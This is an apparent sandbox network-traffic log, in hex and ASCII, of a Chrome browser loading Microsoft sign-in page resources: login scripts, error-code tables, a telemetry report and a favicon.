2025-04-01 10:11:33 UTC	8663	IN	Data Raw: 30 30 30 30 32 31 43 42 0d 0a 78 70 69 72 65 64 44 75 65 54 6f 43 6f 6e 64 69 74 69 6f 6e 61 6c 41 63 63 65 73 73 52 65 41 75 74 68 3a 22 37 30 30 34 36 22 2c 49 6e 76 61 6c 69 64 54 65 6e 61 6e 74 4e 61 6d 65 3a 22 39 30 30 30 32 22 2c 49 6e 76 61 6c 69 64 54 65 6e 61 6e 74 4e 61 6d 65 45 6d 70 74 79 47 75 69 64 49 64 65 6e 74 69 66 69 65 72 3a 22 39 30 30 30 32 31 22 2c 49 6e 76 61 6c 69 64 54 65 6e 61 6e 74 4e 61 6d 65 45 6d 70 74 79 49 64 65 6e 74 69 66 69 65 72 3a 22 39 30 30 30 32 32 22 2c 49 6e 76 61 6c 69 64 54 65 6e 61 6e 74 4e 61 6d 65 46 6f 72 6d 61 74 3a 22 39 30 30 30 32 33 22 2c 50 68 6f 6e 65 53 69 67 6e 49 6e 42 6c 6f 63 6b 65 64 42 79 55 73 65 72 43 72 65 64 65 6e 74 69 61 6c 50 6f 6c 69 63 79 3a 22 31 33 30 35 30 30 22 2c 41 63 63 65 73 Data Ascii: 000021CBxpiredDueToConditionalAccessReAuth:"70046",InvalidTenantName:"90002",InvalidTenantNameEmptyGuidIdentifier:"900021",InvalidTenantNameEmptyIdentifier:"900022",InvalidTenantNameFormat:"900023",PhoneSignInBlockedByUserCredentialPolicy:"130500",Acces
2025-04-01 10:11:33 UTC	854	IN	Data Raw: 30 30 30 30 30 33 34 41 0d 0a 54 69 74 6c 65 3a 33 2c 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 4c 6f 67 69 6e 3a 34 2c 43 6f 6d 62 69 6e 65 64 53 69 67 6e 69 6e 53 69 67 6e 75 70 56 32 3a 35 2c 43 6f 6d 62 69 6e 65 64 53 69 67 6e 69 6e 53 69 67 6e 75 70 56 32 57 65 6c 63 6f 6d 65 54 69 74 6c 65 3a 36 7d 2c 6f 2e 41 6c 6c 6f 77 65 64 49 64 65 6e 74 69 74 69 65 73 54 79 70 65 3d 7b 4d 73 61 4f 6e 6c 79 3a 30 2c 41 61 64 4f 6e 6c 79 3a 31 2c 42 6f 74 68 3a 32 7d 2c 6f 2e 53 65 73 73 69 6f 6e 49 64 70 3d 7b 41 61 64 3a 30 2c 4d 73 61 3a 31 7d 2c 6f 2e 43 6c 69 65 6e 74 54 72 61 63 69 6e 67 45 76 65 6e 74 49 64 73 3d 7b 45 76 65 6e 74 5f 4c 6f 67 69 6e 50 61 67 69 6e 61 74 65 64 55 73 65 72 6e 61 6d 65 56 69 65 77 5f 6f 6e 4c 6f 61 64 3a 31 31 65 34 2c 45 76 65 Data Ascii: 0000034ATitle:3,RemoteConnectLogin:4,CombinedSigninSignupV2:5,CombinedSigninSignupV2WelcomeTitle:6},o.AllowedIdentitiesType={MsaOnly:0,AadOnly:1,Both:2},o.SessionIdp={Aad:0,Msa:1},o.ClientTracingEventIds={Event_LoginPaginatedUsernameView_onLoad:11e4,Eve
2025-04-01 10:11:33 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:33 UTC	417	OUT	POST /api/report?catId=GW+estsfd+chi HTTP/1.1 Host: identity.nel.measure.office.net Connection: keep-alive Content-Length: 1332 Content-Type: application/reports+json Origin: https://login.microsoftonline.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:33 UTC	1332	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 33 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 2f 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2f 6f 61 75 74 68 32 2f 76 32 2e 30 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 34 37 36 35 34 34 35 62 2d 33 32 63 36 2d 34 39 62 30 2d 38 33 65 36 2d 31 64 39 33 37 36 35 32 37 36 63 61 26 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 Data Ascii: [{"age":0,"body":{"elapsed_time":633,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww
2025-04-01 10:11:34 UTC	399	IN	HTTP/1.1 429 Too Many Requests Content-Length: 0 x-ms-middleware-request-id: 00000000-0000-0000-0000-000000000000 Request-Context: appId=cid-v1:c242839f-7b23-4fcd-8b70-f19e1d322576 Date: Tue, 01 Apr 2025 10:11:33 GMT Connection: close Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:33 UTC	620	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:34 UTC	661	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-MD5: wegr9xrdYirQ87+FcvY0/A== Last-Modified: Thu, 05 Dec 2024 00:06:38 GMT ETag: "0x8DD14C0B0989681" x-ms-request-id: f1b06da8-001e-004d-0b42-659b22000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=24754947 Date: Tue, 01 Apr 2025 10:11:34 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-GRN: 0.9f04d217.1743502294.7267805
2025-04-01 10:11:34 UTC	15723	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 77 69 6e 64 6f 77 2e 74 65 6c 65 6d 65 74 72 79 5f 77 65 62 70 61 63 6b 4a 73 6f 6e 70 3d 77 69 6e 64 6f 77 2e 74 65 6c 65 6d 65 74 72 79 5f 77 65 62 70 61 63 6b 4a 73 6f 6e 70 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 32 5d 2c 5b 2c 2c 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 2c 6e 2e 64 28 74 2c 22 56 61 6c 75 65 4b 69 6e 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 65 7d 29 29 2c 6e 2e 64 28 74 2c 22 45 76 65 6e 74 4c 61 74 65 6e 63 79 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 61 7d 29 29 2c 6e 2e 64 28 74 2c 22 45 76 65 6e 74 50 65 72 73 69 73 74 65 6e 63 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 Data Ascii: 00006000(window.telemetry_webpackJsonp=window.telemetry_webpackJsonp\|\|[]).push([[2],[,,,function(e,t,n){"use strict";n.r(t),n.d(t,"ValueKind",(function(){return r.e})),n.d(t,"EventLatency",(function(){return r.a})),n.d(t,"EventPersistence",(function(){r
2025-04-01 10:11:34 UTC	8865	IN	Data Raw: 72 65 74 75 72 6e 20 63 2e 61 7d 29 29 3b 76 61 72 20 75 3d 6e 28 32 39 29 3b 6e 2e 64 28 74 2c 22 4c 6f 63 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 2e 61 7d 29 29 3b 76 61 72 20 73 3d 6e 28 32 38 29 3b 6e 2e 64 28 74 2c 22 4f 70 65 72 61 74 69 6e 67 53 79 73 74 65 6d 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 2e 61 7d 29 29 3b 76 61 72 20 66 3d 6e 28 33 31 29 3b 6e 2e 64 28 74 2c 22 54 65 6c 65 6d 65 74 72 79 43 6f 6e 74 65 78 74 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 2e 61 7d 29 29 3b 76 61 72 20 6c 3d 6e 28 32 32 29 3b 6e 2e 64 28 74 2c 22 53 65 73 73 69 6f 6e 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 2e 61 7d 29 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c Data Ascii: return c.a}));var u=n(29);n.d(t,"Loc",(function(){return u.a}));var s=n(28);n.d(t,"OperatingSystem",(function(){return s.a}));var f=n(31);n.d(t,"TelemetryContext",(function(){return f.a}));var l=n(22);n.d(t,"Session",(function(){return l.a}))},function(e,
2025-04-01 10:11:34 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 74 72 75 6e 63 61 74 65 64 20 74 6f 20 31 35 30 20 63 68 61 72 61 63 74 65 72 73 2e 22 2c 7b 6e 61 6d 65 3a 74 7d 2c 21 30 29 29 2c 6e 7c 7c 74 7d 66 75 6e 63 74 69 6f 6e 20 71 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 31 30 32 34 29 2c 74 26 26 28 6e 3d 6e 7c 7c 31 30 32 34 2c 28 74 3d 4f 62 6a 65 63 74 28 53 2e 4f 29 28 74 29 29 2e 74 6f 53 74 72 69 6e 67 28 29 2e 6c 65 6e 67 74 68 3e 6e 26 26 28 72 3d 74 2e 74 6f 53 74 72 69 6e 67 28 29 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 6e 29 2c 4f 62 6a 65 63 74 28 66 2e 64 29 28 65 2c 32 2c 36 31 2c 22 73 74 72 69 6e 67 20 76 61 6c 75 65 20 69 73 20 74 6f 6f 20 6c 6f 6e 67 2e 20 49 74 20 68 61 73 20 62 65 65 6e 20 74 Data Ascii: 00006000truncated to 150 characters.",{name:t},!0)),n\|\|t}function q(e,t,n){var r;return void 0===n&&(n=1024),t&&(n=n\|\|1024,(t=Object(S.O)(t)).toString().length>n&&(r=t.toString().substring(0,n),Object(f.d)(e,2,61,"string value is too long. It has been t
2025-04-01 10:11:34 UTC	8204	IN	Data Raw: 2b 2b 29 65 5b 74 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 28 62 2e 6d 29 28 29 7c 7c 7b 7d 2c 72 3d 6e 2e 75 73 65 72 41 67 65 6e 74 2c 69 3d 21 31 3b 69 66 28 72 29 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 42 65 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 69 3d 69 7c 7c 2d 31 21 3d 3d 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 42 65 5b 61 5d 29 3b 69 66 28 69 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 61 3d 30 3b 61 3c 65 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 69 66 28 65 5b 61 5d 3c 30 7c 7c 65 5b 61 5d 3e 3d 33 36 65 35 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 76 61 72 20 57 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 76 61 72 20 6e 3d 74 68 Data Ascii: ++)e[t]=arguments[t];var n=Object(b.m)()\|\|{},r=n.userAgent,i=!1;if(r)for(var a=0;a<Be.length;a++)i=i\|\|-1!==r.toLowerCase().indexOf(Be[a]);if(i)return!1;for(a=0;a<e.length;a++)if(e[a]<0\|\|e[a]>=36e5)return!1;return!0}var We=function(){function e(t){var n=th
2025-04-01 10:11:34 UTC	3261	IN	Data Raw: 30 30 30 30 30 43 42 31 0d 0a 20 70 72 65 76 65 6e 74 73 20 75 73 20 66 72 6f 6d 20 67 65 74 74 69 6e 67 20 74 68 65 20 64 65 74 61 69 6c 73 20 6f 66 20 74 68 69 73 20 65 78 63 65 70 74 69 6f 6e 2e 20 43 6f 6e 73 69 64 65 72 20 75 73 69 6e 67 20 74 68 65 20 27 63 72 6f 73 73 6f 72 69 67 69 6e 27 20 61 74 74 72 69 62 75 74 65 2e 22 2c 61 2c 74 2e 6c 69 6e 65 4e 75 6d 62 65 72 7c 7c 30 2c 74 2e 63 6f 6c 75 6d 6e 4e 75 6d 62 65 72 7c 7c 30 2c 6e 2c 72 2c 6e 75 6c 6c 2c 6f 29 2c 63 29 3a 28 74 2e 65 72 72 6f 72 53 72 63 7c 7c 28 74 2e 65 72 72 6f 72 53 72 63 3d 6f 29 2c 65 2e 74 72 61 63 6b 45 78 63 65 70 74 69 6f 6e 28 7b 65 78 63 65 70 74 69 6f 6e 3a 74 2c 73 65 76 65 72 69 74 79 4c 65 76 65 6c 3a 33 7d 2c 63 29 29 7d 63 61 74 63 68 28 65 29 7b 76 61 72 20 Data Ascii: 00000CB1 prevents us from getting the details of this exception. Consider using the 'crossorigin' attribute.",a,t.lineNumber\|\|0,t.columnNumber\|\|0,n,r,null,o),c):(t.errorSrc\|\|(t.errorSrc=o),e.trackException({exception:t,severityLevel:3},c))}catch(e){var
2025-04-01 10:11:34 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 29 7b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 6e 75 6c 6c 3b 65 2e 63 6f 72 65 26 26 65 2e 63 6f 72 65 2e 67 65 74 54 72 61 63 65 43 74 78 26 26 28 74 3d 65 2e 63 6f 72 65 2e 67 65 74 54 72 61 63 65 43 74 78 28 21 31 29 29 3b 69 66 28 21 74 29 7b 76 61 72 20 6e 3d 65 2e 63 6f 72 65 2e 67 65 74 50 6c 75 67 69 6e 28 22 41 70 70 49 6e 73 69 67 68 74 73 50 72 6f 70 65 72 74 69 65 73 50 6c 75 67 69 6e 22 29 3b 69 66 28 6e 29 7b 76 61 72 20 72 3d 6e 2e 70 6c 75 67 69 6e 2e 63 6f 6e 74 65 78 74 3b 72 26 26 28 69 3d 72 2e 74 65 6c 65 6d 65 74 72 79 54 72 61 63 65 2c 6f 3d 69 7c 7c 7b 7d 2c 74 3d 7b 67 65 74 4e 61 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 2e 6e 61 6d 65 7d 2c 73 65 Data Ascii: 00004000){var t=function(){var t=null;e.core&&e.core.getTraceCtx&&(t=e.core.getTraceCtx(!1));if(!t){var n=e.core.getPlugin("AppInsightsPropertiesPlugin");if(n){var r=n.plugin.context;r&&(i=r.telemetryTrace,o=i\|\|{},t={getName:function(){return o.name},se
2025-04-01 10:11:34 UTC	12	IN	Data Raw: 2c 70 72 6f 64 75 63 74 49 64 0d 0a Data Ascii: ,productId
2025-04-01 10:11:34 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3a 22 64 61 74 61 2d 62 69 2d 70 72 6f 64 75 63 74 22 2c 63 6f 6e 74 65 6e 74 54 79 70 65 3a 22 64 61 74 61 2d 62 69 2d 74 79 70 65 22 2c 70 61 72 65 6e 74 49 64 3a 22 64 61 74 61 2d 62 69 2d 70 61 72 65 6e 74 69 64 22 2c 70 61 72 65 6e 74 4e 61 6d 65 3a 22 64 61 74 61 2d 62 69 2d 70 61 72 65 6e 74 6e 61 6d 65 22 7d 2c 73 68 6f 72 74 4e 61 6d 65 73 3a 7b 69 73 53 68 6f 72 74 4e 61 6d 65 73 3a 21 30 2c 69 64 3a 22 64 61 74 61 2d 62 69 2d 69 64 22 2c 61 72 65 61 4e 61 6d 65 3a 22 64 61 74 61 2d 62 69 2d 61 6e 22 2c 73 6c 6f 74 4e 75 6d 62 65 72 3a 22 64 61 74 61 2d 62 69 2d 73 6e 22 2c 63 6f 6e 74 65 6e 74 4e 61 6d 65 3a 22 64 61 74 61 2d 62 69 2d 63 6e 22 2c 63 6f 6e 74 65 6e 74 53 6f 75 72 63 65 3a 22 64 61 74 61 2d 62 69 2d Data Ascii: 00004000:"data-bi-product",contentType:"data-bi-type",parentId:"data-bi-parentid",parentName:"data-bi-parentname"},shortNames:{isShortNames:!0,id:"data-bi-id",areaName:"data-bi-an",slotNumber:"data-bi-sn",contentName:"data-bi-cn",contentSource:"data-bi-
2025-04-01 10:11:34 UTC	12	IN	Data Raw: 7d 3b 72 65 74 75 72 6e 20 6e 0d 0a Data Ascii: };return n
2025-04-01 10:11:34 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2e 5f 69 73 44 79 6e 50 72 6f 78 79 3d 31 2c 6e 7d 28 65 2c 74 29 29 29 7d 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 63 28 65 2c 22 70 72 6f 74 6f 74 79 70 65 22 29 3f 65 2e 6e 61 6d 65 7c 7c 74 7c 7c 22 5f 75 6e 6b 6e 6f 77 6e 5f 22 3a 28 28 65 7c 7c 7b 7d 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 7c 7c 7b 7d 29 2e 6e 61 6d 65 7c 7c 74 7c 7c 22 5f 75 6e 6b 6e 6f 77 6e 5f 22 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 2c 6e 2c 72 29 7b 63 28 65 2c 22 70 72 6f 74 6f 74 79 70 65 22 29 7c 7c 62 28 22 74 68 65 43 6c 61 73 73 20 69 73 20 61 6e 20 69 6e 76 61 6c 69 64 20 63 6c 61 73 73 20 64 65 66 69 6e 69 74 69 6f 6e 2e 22 29 3b 76 61 72 20 61 3d 65 2e 70 72 6f 74 6f 74 79 70 65 3b 28 66 75 6e Data Ascii: 00006000._isDynProxy=1,n}(e,t)))}))}}function h(e,t){return c(e,"prototype")?e.name\|\|t\|\|"_unknown_":((e\|\|{}).constructor\|\|{}).name\|\|t\|\|"_unknown_"}function m(e,t,n,r){c(e,"prototype")\|\|b("theClass is an invalid class definition.");var a=e.prototype;(fun

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:34 UTC	692	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:34 UTC	595	IN	HTTP/1.1 200 OK Content-Type: image/x-icon Content-MD5: EuPayFgGHQiAI7K9SOL6lg== Last-Modified: Thu, 05 Dec 2024 00:02:51 GMT ETag: "0x8DD14C0292CD581" x-ms-request-id: fa26a65a-301e-00c0-6a9c-66acf0000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=24903679 Date: Tue, 01 Apr 2025 10:11:34 GMT Content-Length: 17174 Connection: close Akamai-GRN: 0.9f04d217.1743502294.72678f1
2025-04-01 10:11:34 UTC	15789	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2025-04-01 10:11:34 UTC	1385	IN	Data Raw: c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 99 99 99 99 99 99 99 70 03 33 33 33 33 33 33 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa aa aa aa aa aa aa 50 04 ee ee ee ee ee ee ee 66 66 66 66 66 66 Data Ascii: 3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333p3333333Pffffff

Timestamp	Bytes transferred	Direction	Data
2025-04-01 10:11:34 UTC	661	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_72a1051aa2aa2943d8c1.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 10:11:34 UTC	661	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-MD5: gce5hTQ8MXre6iwo9cb/TQ== Last-Modified: Wed, 15 Jan 2025 20:06:58 GMT ETag: "0x8DD35A02A89D1D1" x-ms-request-id: 68177542-201e-00be-0c08-693cb7000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=25169994 Date: Tue, 01 Apr 2025 10:11:34 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-GRN: 0.9f04d217.1743502294.72678ff
2025-04-01 10:11:34 UTC	15723	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 Data Ascii: 00006000/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyrigh
2025-04-01 10:11:34 UTC	8865	IN	Data Raw: 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 37 39 29 2c 6f 3d 54 79 70 65 45 72 72 6f 72 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 6e 28 65 2c 74 29 29 72 65 74 75 72 6e 20 74 3b 74 68 72 6f 77 20 6e 65 77 20 6f 28 22 49 6e 63 6f 72 72 65 63 74 20 69 6e 76 6f 63 61 74 69 6f 6e 22 29 7d 7d 2c 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 2c 6f 2c 69 3d 72 28 35 34 38 29 2c 73 3d 72 28 35 39 38 29 2c 75 3d 69 2e 70 72 6f 63 65 73 73 2c 61 3d 69 2e 44 65 6e 6f 2c 63 3d 75 26 26 75 2e 76 65 72 73 69 6f 6e 73 7c 7c 61 26 26 61 2e 76 65 72 73 69 6f 6e 2c 66 3d 63 26 26 63 2e 76 38 3b 66 26 26 28 6f 3d 28 6e 3d Data Ascii: on(t,e,r){"use strict";var n=r(579),o=TypeError;t.exports=function(t,e){if(n(e,t))return t;throw new o("Incorrect invocation")}},,function(t,e,r){"use strict";var n,o,i=r(548),s=r(598),u=i.process,a=i.Deno,c=u&&u.versions\|\|a&&a.version,f=c&&c.v8;f&&(o=(n=
2025-04-01 10:11:35 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2e 62 69 6e 64 28 29 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 65 2c 74 7d 29 28 74 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 70 28 74 2c 65 29 7b 76 61 72 20 72 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 74 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 74 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 21 72 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 7c 7c 28 72 3d 64 28 74 29 29 7c 7c 65 26 26 74 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 2e 6c 65 6e 67 74 68 29 7b 72 26 26 28 74 3d 72 29 3b 76 61 72 20 6e 3d 30 2c 6f 3d 66 75 6e Data Ascii: 00006000setPrototypeOf.bind():function(t,e){return t.__proto__=e,t})(t,e)}function p(t,e){var r="undefined"!=typeof 